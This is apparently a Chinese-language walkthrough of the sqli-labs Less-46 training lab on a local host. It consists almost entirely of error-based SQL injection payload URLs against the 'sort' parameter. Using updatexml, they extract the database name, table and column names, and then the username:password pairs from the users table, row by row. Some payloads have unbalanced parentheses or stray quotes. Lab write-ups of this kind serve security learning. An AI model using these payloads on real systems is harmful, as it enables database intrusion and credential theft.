1、查出库名（database()）
http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
2、通过库名，查表名（table_name）
http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)),1)
3、通过表名，查列名（column_name）
http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(column_name)from information_schema.columns 'where 'table_schema='security' and 'table_name='users'),0x7e)),1
4、之后直接通过列名、表名，查数据
http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e))
PS：但是报错注入出来的信息只能容纳32个字节
5、逐个显示（两种方法）
方法1：分段显示（limit 0,1)，逐个显示出来，可以用Python
http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(username,0x3a,password)from users limit 0,1),0x7e))http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(username,0x3a,password)from users limit 1,1),0x7e))http://127.0.0.1/sqli7/Less-46/?sort=updatexml(1,if(1=2,1,concat(0x7e,(select group_concat(username,0x3a,password)from users limit 2,1),0x7e))
方法2：substring()，逐段显示出来，可以用Python（同理，在此不做演示）
都看到这里了，创作不易，大家点个赞再走啦！！ - ̗̀(๑ᵔ⌔ᵔ๑)
